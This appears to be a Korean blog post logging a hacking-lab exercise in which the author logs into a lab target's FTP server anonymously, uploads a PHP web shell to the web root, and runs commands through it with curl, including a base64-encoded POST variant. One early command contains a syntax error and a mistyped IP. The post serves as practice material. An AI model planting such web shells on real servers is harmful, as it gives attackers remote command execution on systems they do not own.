Red, Blue, Target 환경을 통한 해킹 실습

공격 2 — FTP 익명 로그인 & WebShell 업로드

TungTung0000 2026. 7. 6. 13:48

 

 

1. 익명 FTP 접속 및 공유 디렉터리 탐색

단계1. 익명 ftp로 연결 →  ftp 192.168.100.20
단계2. 연결 확인 후 공유 디렉터리 탐색  ls -l
단계3. 확인된 공유 디렉터리로 이동 cd pub

 

 

2. 기본 WebShell 업로드

단계1. php WebShell 파일 생성 → echo '<?php system($_GET["c"]; ?>' > /tmp/ws.php &&
단계2. 생성한 WebShell 파일 FTP 서버에 업로드 → ftp> put /tmp/ws.php ws.php
단계3. WebShell 실행 후 id 명령어 실행 가능 여부 확인 → curl "http://192.168..100.20/pub/ws.php?c=id"

 

(ftp 프롬프트를 이용해 WebShell을 생성하려 하였으나 Bash 명령어의 실행 불가 확인해 해당 단계로는 공격 불가 판단)

 

단계1. 웹 쉘 생성
단계2. Target FTP 접속
단계3. pub 디렉터리로 이동
단계4. 파일 업로드
단계5. 업로드 확인
단계6. FTP 종료
단계7. kali를 통해 웹에서 실행 가능 여부 확인

 

    - 단계1. 웹 쉘 생성
            $ sudo echo '<?php system($_GET["c"]); ?>' > /tmp/ws.php
            $ ls -l /tmp/ws.php
            $ cat /tmp/ws.php  


    - 단계2. Target FTP 접속
            $ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])


    - 단계3. pub 디렉터리로 이동
            ftp> cd pub
            ftp> pwd
            ftp> ls -l


    - 단계4. 파일 업로드
            ftp> put /tmp/ws.php ws.php


    - 단계5. 업로드 확인
            ftp> ls -l


    - 단계6. FTP 종료
            ftp> bye


    - 단계7. kali를 통해 웹에서 실행 가능 여부 확인
            $ curl "http://192.168.100.20/var/www/html/pub/ws.php?c=id"

                   - 파일이 업로드 된 실제 경로를 넣었을 때, 404 상태 코드와 함께 웹쉘이 실행되지 않는 것을 확인 가능 

 

             $ curl "http://192.168.100.20/pub/ws.php?c=id"

                   - /var/www/html은 Apache의 웹루트로 해당 경로는 포함되지 않아야 실행 가능

                   - 명령어 확인 시 웹 쉘을 통한 id 확인 가능

 

 

3. 고급 WebShell 업로드

    - 단계1. 웹 쉘 생성
            $  cat > /tmp/adv_ws.php <<'PHP'
                   <?php if(isset($_POST['x'])) system(base64_decode($_POST['x'])); ?>
                   PHP

 

    - 단계2. Target FTP 접속
            $ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])


    - 단계3. pub 디렉터리로 이동
            ftp> cd pub
            ftp> pwd
            ftp> ls -l


    - 단계4. 파일 업로드
            ftp> put /tmp/adv_ws.php adv_ws.php

 

    - 단계5. 업로드 확인 및 FTP 종료
            ftp> ls -l

            ftp> bye

 

    - 단계6. kali를 통해 웹에서 실행 가능 여부 확인
            $ curl -X POST -d "x=$(echo id|base64 -w0)" http://192.168.100.20/pub/adv_ws.php

                   - 명령어 확인 시 웹 쉘을 통한 id 확인 가능